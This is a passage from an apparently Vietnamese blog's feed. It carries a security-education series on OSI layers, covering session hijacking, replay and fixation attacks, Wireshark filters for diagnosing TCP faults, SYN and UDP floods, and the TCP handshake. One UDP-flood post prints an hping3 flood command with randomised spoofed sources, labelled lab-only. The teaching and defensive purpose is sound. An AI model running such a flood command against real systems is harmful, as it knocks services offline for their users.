&lt;/h2&gt;&lt;p&gt;Hacker hiểu rất rõ giá trị của những mã Session ID này. Vì Server hoàn toàn tin tưởng vào cái vé, nên &lt;strong&gt;kẻ nào cầm vé, kẻ đó có quyền&lt;/strong&gt;. Dưới đây là 3 đòn tấn công kinh điển ở Tầng 5.&lt;/p&gt;
&lt;h3 id="31-cướp-phiên-session-hijacking"&gt;3.1 Cướp Phiên (Session Hijacking)
&lt;/h3&gt;&lt;p&gt;Đây là đòn đánh trực diện nhất. Kẻ địch hoàn toàn &lt;strong&gt;không cần biết mật khẩu&lt;/strong&gt; của bạn.&lt;/p&gt;
&lt;p&gt;Chúng chỉ cần &amp;ldquo;đánh cắp&amp;rdquo; được Session ID đang nằm trong Cookie hoặc bộ nhớ đệm trình duyệt thông qua các kỹ thuật như &lt;strong&gt;Sniffing&lt;/strong&gt; (nghe lén mạng Wi-Fi không an toàn) hoặc tấn công &lt;strong&gt;Cross-Site Scripting (XSS)&lt;/strong&gt;. Khi có được ID này, chúng dùng nó để gửi gói tin lên Server. Server sẽ lầm tưởng hacker chính là bạn và cho phép truy cập thẳng vào tài khoản.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; Để chống lại Session Hijacking, hệ thống mạng bắt buộc phải mã hóa toàn bộ dữ liệu truyền tải bằng &lt;strong&gt;HTTPS/TLS&lt;/strong&gt; và các Cookie phải được gắn cờ &lt;code&gt;Secure&lt;/code&gt; cùng &lt;code&gt;HttpOnly&lt;/code&gt; để ngăn mã độc JavaScript trích xuất Session ID.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="32-tấn-công-phản-hồi-replay-attack"&gt;3.2 Tấn công Phản hồi (Replay Attack)
&lt;/h3&gt;&lt;p&gt;Lỗ hổng này đánh thẳng vào cơ chế &amp;ldquo;vé phục hồi nhanh&amp;rdquo; (&lt;strong&gt;New Session Ticket / 0-RTT&lt;/strong&gt;) mà chúng ta vừa soi trên Wireshark.&lt;/p&gt;
&lt;p&gt;Vì cái vé này được thiết kế để kết nối nhanh mà không cần bắt tay lại, hacker có thể can thiệp ở giữa mạng (&lt;strong&gt;MitM&lt;/strong&gt;), bắt lấy bản sao gói tin chứa Ticket của bạn và gửi lại cho Server nhiều lần. Nếu hệ thống ứng dụng không có cơ chế chống trùng lặp (ví dụ: dùng &lt;code&gt;timestamp&lt;/code&gt; hoặc &lt;code&gt;nonce&lt;/code&gt;), hacker có thể ép Server thực hiện lại một giao dịch nhạy cảm (như chuyển tiền) nhiều lần chỉ bằng cách &amp;ldquo;phát lại&amp;rdquo; cái vé cũ đó.&lt;/p&gt;
&lt;h3 id="33-cố-định-phiên-session-fixation"&gt;3.3 Cố định Phiên (Session Fixation)
&lt;/h3&gt;&lt;p&gt;Ngược lại với việc đi ăn cắp, trong kỹ thuật này hacker lại chủ động &lt;strong&gt;&amp;ldquo;tặng&amp;rdquo;&lt;/strong&gt; cho bạn một cái ID.&lt;/p&gt;
&lt;p&gt;Kẻ tấn công sẽ tạo ra một Session ID hợp lệ từ trước, sau đó lừa bạn click vào một đường link chứa sẵn ID đó để đăng nhập. Sau khi bạn đăng nhập thành công, hệ thống vô tình &amp;ldquo;đóng dấu xác thực&amp;rdquo; cho cái ID do hacker cung cấp. Lúc này, hacker chỉ cần ung dung nhập cái ID mà chúng đã biết trước đó vào trình duyệt — phiên làm việc lúc này trở thành &amp;ldquo;dùng chung&amp;rdquo; giữa bạn và hacker.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc thấu hiểu Tầng 5 giúp SOC Analyst nhận ra rằng: Không phải cứ đăng nhập xong là an toàn tuyệt đối, bởi nếu kẻ gian cướp được &amp;ldquo;tấm vé&amp;rdquo; Session, chúng nghiễm nhiên trở thành người chủ hợp pháp. Tuy nhiên, cái vé đó và toàn bộ dữ liệu ứng dụng thực chất được xáo trộn như thế nào để không ai đọc lén được trên mạng? Trong Bài 6 tiếp theo, chúng ta sẽ bước lên Tầng 6 (Presentation) để bóc tách lớp vỏ mã hóa SSL/TLS, giải phẫu thuật toán CHACHA20 và tìm hiểu lỗ hổng POODLE khét tiếng. Hãy cùng chờ đón nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Bắt bệnh Mạng bằng Wireshark &amp; Tấn công DDoS</title><link>/post/wireshark-ddos/</link><pubDate>Thu, 21 May 2026 22:00:00 +0700</pubDate><guid>/post/wireshark-ddos/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã hiểu được &amp;ldquo;trái tim&amp;rdquo; TCP và nghệ thuật bắt tay 3 bước ở Tầng 4. Hôm nay, chúng ta sẽ thực sự ứng dụng Wireshark để &amp;ldquo;bắt bệnh&amp;rdquo; các lỗi đường truyền kinh điển, đồng thời phân tích cách hacker lợi dụng chính cơ chế của TCP/UDP để phát động các đòn tấn công từ chối dịch vụ (DDoS) tàn khốc.&lt;/p&gt;
&lt;h2 id="1-bắt-bệnh-mạng-chậm-và-rớt-gói-tin-bằng-wireshark"&gt;1. &amp;ldquo;Bắt bệnh&amp;rdquo; Mạng chậm và Rớt gói tin bằng Wireshark
&lt;/h2&gt;&lt;p&gt;Giao thức TCP được thiết kế để đảm bảo không một byte dữ liệu nào bị mất trên đường truyền. Do đó, khi mạng gặp sự cố (như đứt cáp, quá tải, nhiễu sóng), TCP sẽ &amp;ldquo;la hét&amp;rdquo; và để lại những dấu vết cực kỳ rõ ràng. Dưới góc độ SOC Analyst, bạn có thể dùng các bộ lọc sau đây trên Wireshark để chẩn đoán nguyên nhân.&lt;/p&gt;
&lt;h3 id="11-mất-gói-và-gửi-lại-retransmission"&gt;1.1 Mất gói và Gửi lại (Retransmission)
&lt;/h3&gt;&lt;p&gt;Khi máy gửi đã đẩy gói tin đi nhưng đợi mãi (hết thời gian &lt;strong&gt;RTO&lt;/strong&gt; - Retransmission Timeout) mà không nhận được gói &lt;code&gt;ACK&lt;/code&gt; xác nhận từ máy nhận, nó bắt buộc phải gửi lại gói tin đó.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cú pháp lọc:&lt;/strong&gt; &lt;code&gt;tcp.analysis.retransmission&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dấu hiệu:&lt;/strong&gt; Wireshark sẽ tô màu đen chữ đỏ rực rỡ cho các dòng này. Nếu bộ lọc này trả về hàng ngàn kết quả, đường truyền vật lý đang cực kỳ bất ổn và hệ thống đang lãng phí băng thông để gửi lại dữ liệu cũ, làm tốc độ mạng chậm đi rõ rệt.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Gói tin mà máy tính gửi đi để yêu cầu kết nối tcp" class="gallery-image" data-flex-basis="440px" data-flex-grow="183" height="523" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/wireshark-ddos/guilai.png" srcset="/post/wireshark-ddos/guilai_hu_7d35ece5750a65db.png 800w, /post/wireshark-ddos/guilai.png 960w" width="960"&gt;&lt;/p&gt;
&lt;h3 id="12-thiếu-mảnh-dữ-liệu-duplicate-ack"&gt;1.2 Thiếu mảnh dữ liệu (Duplicate ACK)
&lt;/h3&gt;&lt;p&gt;Đây là cảnh tượng máy nhận đang &amp;ldquo;gào thét&amp;rdquo; đòi một mảnh dữ liệu bị mất ở giữa luồng truyền.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cú pháp lọc:&lt;/strong&gt; &lt;code&gt;tcp.analysis.duplicate_ack&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dấu hiệu:&lt;/strong&gt; Bạn sẽ thấy máy nhận gửi liên tiếp các gói &lt;code&gt;ACK&lt;/code&gt; có cùng một số hiệu xác nhận (ví dụ: 3-4 gói đều mang &lt;code&gt;Ack=4680&lt;/code&gt;). Điều này có nghĩa là: &amp;ldquo;Tôi đã nhận được các gói 4681, 4682 rồi, nhưng cái gói 4680 vẫn chưa tới, hãy gửi lại ngay!&amp;rdquo;. Khi nhận được 3 gói Dup ACK liên tiếp, máy gửi sẽ kích hoạt cơ chế &lt;strong&gt;Fast Retransmit&lt;/strong&gt; để gửi bù ngay lập tức.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Gói tin mà máy tính gửi đi để yêu cầu gói tin bị mất" class="gallery-image" data-flex-basis="472px" data-flex-grow="196" height="530" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/wireshark-ddos/dump.png" srcset="/post/wireshark-ddos/dump_hu_720e120416c0c0fb.png 800w, /post/wireshark-ddos/dump.png 1043w" width="1043"&gt;&lt;/p&gt;
&lt;h3 id="13-hệ-thống-bị-ngộp-zero-window"&gt;1.3 Hệ thống bị ngộp (Zero Window)
&lt;/h3&gt;&lt;p&gt;Sự cố này không do đường truyền, mà do năng lực xử lý của máy tính (hoặc Server) đã chạm đáy.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cú pháp lọc:&lt;/strong&gt; &lt;code&gt;tcp.analysis.zero_window&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dấu hiệu:&lt;/strong&gt; Máy nhận sẽ ném ra một gói tin với tham số &lt;code&gt;Win=0&lt;/code&gt;. Đây là cơ chế &lt;strong&gt;Kiểm soát luồng&lt;/strong&gt; (Flow Control) của TCP, mang thông điệp: &amp;ldquo;Dừng lại ngay! Bộ nhớ đệm (Buffer) của tôi đã đầy cứng rồi, không còn chỗ chứa thêm dữ liệu nào nữa đâu!&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-syn-flood-đòn-đánh-vào-sự-kỹ-tính-của-tcp"&gt;2. SYN Flood: Đòn đánh vào sự &amp;ldquo;Kỹ tính&amp;rdquo; của TCP
&lt;/h2&gt;&lt;p&gt;Hacker luôn biết cách biến &amp;ldquo;tính năng&amp;rdquo; thành &amp;ldquo;vũ khí&amp;rdquo;. Việc TCP yêu cầu phải Bắt tay 3 bước khắt khe vô tình tạo ra một lỗ hổng chí mạng cho các cuộc tấn công DDoS dạng &lt;strong&gt;SYN Flood&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Kịch bản tấn công diễn ra như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Kẻ tấn công gửi hàng vạn gói ngỏ lời &lt;code&gt;SYN&lt;/code&gt; đến máy chủ đích.&lt;/li&gt;
&lt;li&gt;Máy chủ ngây thơ phân bổ tài nguyên bộ nhớ, tạo một &amp;ldquo;nửa kết nối&amp;rdquo; (Half-open connection) và gửi lại gói &lt;code&gt;SYN-ACK&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Máy chủ chờ đợi gói &lt;code&gt;ACK&lt;/code&gt; cuối cùng để hoàn tất — nhưng kẻ tấn công tuyệt đối không bao giờ trả lời. Máy chủ cứ thế chờ đợi cho đến khi cạn kiệt tài nguyên (CPU, RAM) và bị treo cứng, từ chối phục vụ người dùng hợp lệ.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Đây là output Wireshark ghi lại khi kẻ tấn công &lt;code&gt;10.10.53.248&lt;/code&gt; liên tục bắn gói &lt;code&gt;SYN&lt;/code&gt; vào Server &lt;code&gt;192.168.1.10&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Lọc để phát hiện SYN Flood: tcp.flags.syn == 1 &amp;amp;&amp;amp; tcp.flags.ack == 0
# Dấu hiệu: hàng ngàn gói SYN từ cùng một IP, không có gói ACK phản hồi

No. Time Source Destination Protocol Info
1 0.0000 10.10.53.248 -&amp;gt; 192.168.1.10 TCP 45892 -&amp;gt; 443 [SYN] Seq=0 Win=64240 Len=0
2 0.0001 10.10.53.248 -&amp;gt; 192.168.1.10 TCP 45893 -&amp;gt; 443 [SYN] Seq=0 Win=64240 Len=0
3 0.0002 10.10.53.248 -&amp;gt; 192.168.1.10 TCP 45894 -&amp;gt; 443 [SYN] Seq=0 Win=64240 Len=0
4 0.0003 10.10.53.248 -&amp;gt; 192.168.1.10 TCP 45895 -&amp;gt; 443 [SYN] Seq=0 Win=64240 Len=0
[...]
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC:&lt;/strong&gt; Kẻ tấn công thường sử dụng địa chỉ IP nguồn giả mạo (&lt;strong&gt;Spoofed IP&lt;/strong&gt;) trong các cuộc tấn công SYN Flood. Do đó, việc dùng Firewall để chặn IP nguồn đơn lẻ là &lt;strong&gt;không hiệu quả&lt;/strong&gt;. SOC cần cấu hình các cơ chế phòng thủ chuyên sâu như &lt;strong&gt;SYN Cookies&lt;/strong&gt; trên Tường lửa/Load Balancer.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-udp-flood-đòn-đánh-lấy-thịt-đè-người"&gt;3. UDP Flood: Đòn đánh &amp;ldquo;Lấy thịt đè người&amp;rdquo;
&lt;/h2&gt;&lt;p&gt;Trái ngược với sự kỹ tính của TCP, giao thức UDP lại đại diện cho sự &amp;ldquo;tự do&amp;rdquo;: Không bắt tay, không cần số thứ tự, cứ có dữ liệu là ném đi. Giao thức này thường dùng cho Game hoặc Livestream, nhưng cũng là công cụ tàn phá ưa thích của Hacker.&lt;/p&gt;
&lt;p&gt;Trong tấn công &lt;strong&gt;UDP Flood&lt;/strong&gt;, hacker không cần lừa máy chủ bắt tay. Chúng chỉ đơn giản là huy động một mạng lưới máy tính ma (Botnet) để bắn hàng triệu gói tin UDP rác vào các cổng ngẫu nhiên trên Server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hậu quả:&lt;/strong&gt; Khi Server nhận được gói tin UDP ở một cổng, nó bắt buộc phải dùng CPU để kiểm tra xem có ứng dụng nào đang chờ ở cổng đó không. Khi phát hiện không có, nó phải tốn thêm công sức để tạo và gửi lại một gói lỗi &lt;code&gt;ICMP Destination Unreachable (Port Unreachable)&lt;/code&gt;. Khi phải xử lý hàng triệu thao tác vô bổ này trong một giây, máy chủ sẽ sụp đổ hoàn toàn vì quá tải.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lệnh minh họa tấn công UDP Flood bằng hping3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# CHỈ thực hiện trong môi trường Lab, tuyệt đối KHÔNG dùng trên hệ thống thật&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# -2: chế độ UDP | --flood: xả gói liên tục | --rand-source: IP nguồn ngẫu nhiên&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo hping3 -2 --flood --rand-source 192.168.1.10
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo:&lt;/strong&gt; Lệnh trên có thể gây tê liệt hệ thống mục tiêu. Chỉ sử dụng trong môi trường thực hành (Lab) hoàn toàn cô lập, không kết nối Internet.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Qua bài viết này, chúng ta đã biết cách dùng Wireshark để đọc các tín hiệu &amp;ldquo;kêu cứu&amp;rdquo; của hệ thống (Retransmission, Zero Window) và hiểu rõ bản chất tàn khốc của các đòn tấn công DDoS ở Tầng 4. Sau khi đã nắm vững quá trình vận chuyển gói tin, ở Bài 5 tiếp theo, chúng ta sẽ bước lên Lớp 5 (Session Layer) để khám phá ranh giới của các phiên làm việc và kỹ thuật Cướp phiên (Session Hijacking) tinh vi của Hacker. Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>TCP và Nghệ thuật Bắt tay 3 Bước</title><link>/post/tcp-handshake/</link><pubDate>Thu, 21 May 2026 09:00:00 +0700</pubDate><guid>/post/tcp-handshake/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Mạng &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã thấy Tầng 2 và 3 chỉ biết tìm đường và &amp;ldquo;ném&amp;rdquo; gói tin đi mà không hề quan tâm đến sự sống chết của dữ liệu. Để đảm bảo thông tin không bị thất lạc hay lộn xộn trên môi trường Internet khắc nghiệt, chúng ta cần đến &amp;ldquo;trái tim&amp;rdquo; của sự ổn định: Giao thức TCP tại Tầng 4. Hôm nay, hãy cùng mổ xẻ cơ chế Bắt tay 3 bước kinh điển và cách dùng Wireshark để phát hiện các đòn tấn công mạng nguy hiểm.&lt;/p&gt;
&lt;h2 id="1-tầng-4-transport-và-sứ-mệnh-của-tcp"&gt;1. Tầng 4 (Transport) và Sứ mệnh của TCP
&lt;/h2&gt;&lt;p&gt;Nhiệm vụ cốt lõi của Tầng 4 (Giao vận) là kiểm soát toàn bộ quá trình truyền tải dữ liệu. Khi nhận dữ liệu từ các tầng trên, Tầng 4 sẽ thực hiện &lt;strong&gt;phân đoạn&lt;/strong&gt; (Segmentation) để chia nhỏ dữ liệu cho vừa với đường truyền, &lt;strong&gt;đánh số thứ tự&lt;/strong&gt; (Sequencing) và dùng số &lt;strong&gt;Cổng&lt;/strong&gt; (Port) để định tuyến đến đúng ứng dụng.&lt;/p&gt;
&lt;p&gt;Tại đây, hai giao thức thống trị là &lt;strong&gt;TCP&lt;/strong&gt; (Transmission Control Protocol) và &lt;strong&gt;UDP&lt;/strong&gt; (User Datagram Protocol). Việc lựa chọn giao thức nào hoàn toàn phụ thuộc vào ứng dụng ở Tầng 7. Hệ điều hành sẽ dán một cái nhãn vào IP Header ở Tầng 3 (ví dụ nhãn số &lt;code&gt;6&lt;/code&gt; cho TCP, &lt;code&gt;17&lt;/code&gt; cho UDP) để Tầng 4 biết phải lôi &amp;ldquo;bộ máy&amp;rdquo; nào ra xử lý.&lt;/p&gt;
&lt;p&gt;Trong khi UDP đề cao tốc độ bằng cách &amp;ldquo;cứ có là gửi, mất thì thôi&amp;rdquo;, thì TCP lại là biểu tượng của sự tin cậy. TCP đảm bảo mọi gói tin đều đến đúng nơi, đúng thứ tự, và nếu có bất kỳ dữ liệu nào bị mất, nó sẽ bắt buộc gửi lại (&lt;strong&gt;Retransmission&lt;/strong&gt;).&lt;/p&gt;
&lt;h2 id="2-nghệ-thuật-bắt-tay-3-bước-3-way-handshake"&gt;2. Nghệ thuật Bắt tay 3 Bước (3-Way Handshake)
&lt;/h2&gt;&lt;p&gt;Trước khi truyền đi dù chỉ một byte dữ liệu ứng dụng, TCP yêu cầu hai thiết bị phải thiết lập một kết nối vững chắc thông qua quá trình &lt;strong&gt;Bắt tay 3 bước&lt;/strong&gt;. Quá trình này diễn ra như sau:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bước 1 — Gói SYN:&lt;/strong&gt; Máy Client gửi một gói tin mang cờ &lt;code&gt;SYN&lt;/code&gt; (Synchronize) với số thứ tự Sequence ban đầu để ngỏ lời kết nối. Gói này cũng khai báo &lt;code&gt;Window Size&lt;/code&gt;, báo cho Server biết: &amp;ldquo;Tôi có thể nhận tối đa 64,240 bytes dữ liệu một lúc đấy nhé&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bước 2 — Gói SYN-ACK:&lt;/strong&gt; Server đồng ý và đáp lại bằng gói &lt;code&gt;SYN, ACK&lt;/code&gt;. Cờ &lt;code&gt;ACK&lt;/code&gt; được bật để Server thông báo: &amp;ldquo;Tôi đã nhận được gói 0 của ông, tôi đang đợi gói 1 đây&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bước 3 — Gói ACK:&lt;/strong&gt; Client gửi lại gói &lt;code&gt;ACK&lt;/code&gt; cuối cùng để chốt hạ. Từ lúc này, &amp;ldquo;đường ống&amp;rdquo; đã thông suốt.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="TCP handshake" class="gallery-image" data-flex-basis="326px" data-flex-grow="136" height="501" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/tcp-handshake/image.png" width="682"&gt;&lt;/p&gt;
&lt;p&gt;Dưới đây là output Wireshark bắt được khi Client &lt;code&gt;192.168.1.114&lt;/code&gt; kết nối đến Server &lt;code&gt;72.34.249.208&lt;/code&gt; qua cổng HTTPS (443):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Lọc theo địa chỉ IP của Client và Server:
# Mẫu luồng gói tin trong Wireshark

No. Time Source Destination Protocol Info
1 0.000000 192.168.1.114 -&amp;gt; 72.34.249.208 TCP 47682 -&amp;gt; 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
2 0.474661 72.34.249.208 -&amp;gt; 192.168.1.114 TCP 443 -&amp;gt; 47682 [SYN, ACK] Seq=0 Ack=1 Win=64512 Len=0
3 0.474780 192.168.1.114 -&amp;gt; 72.34.249.208 TCP 47682 -&amp;gt; 443 [ACK] Seq=1 Ack=1 Win=64512 Len=0
4 0.476483 192.168.1.114 -&amp;gt; 72.34.249.208 TLSv1.3 Client Hello (SNI=apex.go.sonobi.com)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Ghi chú:&lt;/strong&gt; Gói số 4 cho thấy ngay sau khi bắt tay 3 bước hoàn tất, Client lập tức gửi &lt;code&gt;Client Hello&lt;/code&gt; của TLS để khởi động mã hóa. Đây là quy trình chuẩn của HTTPS.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-cơ-chế-đảm-bảo-toàn-vẹn-sequence--acknowledgment"&gt;3. Cơ chế Đảm bảo Toàn vẹn (Sequence &amp;amp; Acknowledgment)
&lt;/h2&gt;&lt;p&gt;Làm sao TCP biết một gói tin đã đến đích an toàn? Bí quyết nằm ở cách nó sử dụng hai con số: &lt;strong&gt;Sequence Number&lt;/strong&gt; (Số thứ tự) và &lt;strong&gt;Acknowledgment Number&lt;/strong&gt; (Số xác nhận).&lt;/p&gt;
&lt;p&gt;Khi gửi dữ liệu, Tầng 4 sẽ tính toán dựa trên số lượng byte. Nếu gói tin thứ nhất mang 500 byte dữ liệu và có &lt;code&gt;Seq=1&lt;/code&gt;, thì gói tin thứ hai sẽ được đánh số &lt;code&gt;Seq=501&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Khi máy đích nhận được gói thứ nhất, nó sẽ phản hồi bằng một gói có &lt;code&gt;Ack=501&lt;/code&gt;, mang hàm ý: &amp;ldquo;Tôi đã nhận đủ 500 byte, hãy gửi tiếp cho tôi dữ liệu từ byte 501 trở đi&amp;rdquo;. Nếu Server không gửi Acknowledgment phản hồi sau một khoảng thời gian chờ, máy gửi sẽ tự động thực hiện gửi lại gói tin đó (&lt;strong&gt;Fast Retransmit&lt;/strong&gt; hoặc &lt;strong&gt;RTO&lt;/strong&gt;).&lt;/p&gt;
&lt;h2 id="4-bắt-bệnh-mạng-và-cảnh-báo-soc-bằng-wireshark"&gt;4. Bắt bệnh Mạng và Cảnh báo SOC bằng Wireshark
&lt;/h2&gt;&lt;p&gt;Với cơ chế khắt khe của TCP, Wireshark cung cấp cho SOC Analyst các bộ lọc cực kỳ mạnh mẽ để &amp;ldquo;bắt bệnh&amp;rdquo; hệ thống khi mạng bị chậm hoặc gặp sự cố:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mất gói (Retransmission):&lt;/strong&gt; Bộ lọc &lt;code&gt;tcp.analysis.retransmission&lt;/code&gt; sẽ hiển thị các dòng chữ màu đỏ cảnh báo gói tin phải gửi lại do không nhận được ACK.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thiếu mảnh dữ liệu (Duplicate ACK):&lt;/strong&gt; Dùng bộ lọc &lt;code&gt;tcp.analysis.duplicate_ack&lt;/code&gt;. Bạn sẽ thấy máy nhận liên tục gửi các gói ACK có cùng một số hiệu để &amp;ldquo;gào thét&amp;rdquo; đòi mảnh dữ liệu bị rớt ở giữa luồng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hệ thống bị ngộp (Zero Window):&lt;/strong&gt; Bộ lọc &lt;code&gt;tcp.analysis.zero_window&lt;/code&gt; phát hiện khi thiết bị nhận đã cạn kiệt bộ nhớ đệm. Nó sẽ ném ra gói tin này để ép máy gửi phải dừng truyền ngay lập tức (cơ chế &lt;strong&gt;Flow Control&lt;/strong&gt;).&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Cảnh báo SOC — Tấn Công SYN Flood:&lt;/strong&gt; Hacker rất thích lợi dụng sự &amp;ldquo;kỹ tính&amp;rdquo; trong quá trình Bắt tay 3 bước của TCP để thực hiện tấn công từ chối dịch vụ (DDoS). Bằng cách bắn hàng vạn gói &lt;code&gt;SYN&lt;/code&gt; giả mạo vào Server nhưng tuyệt đối không bao giờ trả lời bằng gói &lt;code&gt;ACK&lt;/code&gt; cuối cùng, Server sẽ bị treo cứng vì cạn kiệt tài nguyên để chờ đợi những cái &amp;ldquo;bắt tay&amp;rdquo; không bao giờ hoàn tất. Bộ lọc phát hiện nhanh: &lt;code&gt;tcp.flags.syn == 1 &amp;amp;&amp;amp; tcp.flags.ack == 0&lt;/code&gt;.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Như vậy, việc thấu hiểu nhịp đập của &amp;ldquo;Trái tim&amp;rdquo; TCP giúp chúng ta phân biệt được một sự cố mạng do đường truyền kém với một cuộc tấn công từ chối dịch vụ có chủ đích. Ở Tầng 4, chúng ta mới chỉ quản lý được các cổng (Port), nhưng để duy trì trạng thái đăng nhập liên tục của người dùng, chúng ta cần tiến lên một bậc nữa. Trong Bài 4 tiếp theo, hãy cùng khám phá Lớp 5 (Session) và các kỹ thuật cướp phiên (Session Hijacking) tinh vi của Hacker. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Giao thức Lớp 2 &amp; 3 - Truy vết MAC, IP và MAC Spoofing</title><link>/post/giao-thuc-arp-va-mac-spoo/</link><pubDate>Wed, 20 May 2026 08:30:00 +0700</pubDate><guid>/post/giao-thuc-arp-va-mac-spoo/</guid><description>&lt;p&gt;Chào mừng các bạn quay trở lại với Series Giải phẫu Mạng (Network Anatomy) &amp;amp; Packet Analysis! Ở bài trước, chúng ta đã ngắm nhìn toàn cảnh &amp;ldquo;bản đồ kho báu&amp;rdquo; OSI và biết cách đặt một gói tin lên bàn mổ Wireshark. Hôm nay, chúng ta sẽ bắt đầu chuyến thám hiểm thực sự vào thế giới của Tầng 2 (Data Link) và Tầng 3 (Network). Đây là nơi giải quyết câu hỏi cốt lõi nhất của Internet: &amp;ldquo;Làm sao thiết bị A có thể tìm và gửi dữ liệu chính xác cho thiết bị B giữa hàng tỷ thiết bị trên toàn cầu?&amp;rdquo;&lt;/p&gt;
&lt;h2 id="1-tầng-3-network-bản-đồ-thế-giới-và-địa-chỉ-ip"&gt;1. Tầng 3 (Network): Bản đồ Thế giới và Địa chỉ IP
&lt;/h2&gt;&lt;p&gt;Nếu muốn gửi một bức thư xuyên quốc gia, bạn cần một địa chỉ nhà chính xác. Trong thế giới mạng, Tầng 3 (Network Layer) chịu trách nhiệm định tuyến đường đi tốt nhất trên môi trường Internet bằng cách sử dụng Địa chỉ IP (Internet Protocol).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tính chất:&lt;/strong&gt; Địa chỉ IP là địa chỉ logic, được điều khiển bởi phần mềm và có thể thay đổi tùy thuộc vào mạng bạn đang kết nối.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Đóng gói:&lt;/strong&gt; Dữ liệu khi đi qua Tầng 3 sẽ được dán thêm một lớp IP Header để tạo thành một Packet (Gói tin). Lớp vỏ này chứa IP Nguồn (Source IP) và IP Đích (Destination IP).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chẩn đoán lỗi:&lt;/strong&gt; Tầng 3 còn quản lý ICMP (Internet Control Message Protocol), giao thức đứng đằng sau lệnh &lt;code&gt;ping&lt;/code&gt; quen thuộc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đứng ở góc nhìn bảo mật, ICMP không chỉ dùng để ping mạng, mà còn là cách Tường lửa (Firewall) giao tiếp trả về thông báo. Khi Firewall chặn một kết nối bằng lệnh &lt;code&gt;REJECT&lt;/code&gt;, hệ thống sẽ trả về một gói tin ICMP với thông điệp &lt;code&gt;Destination unreachable (Host unreachable)&lt;/code&gt;.&lt;/p&gt;
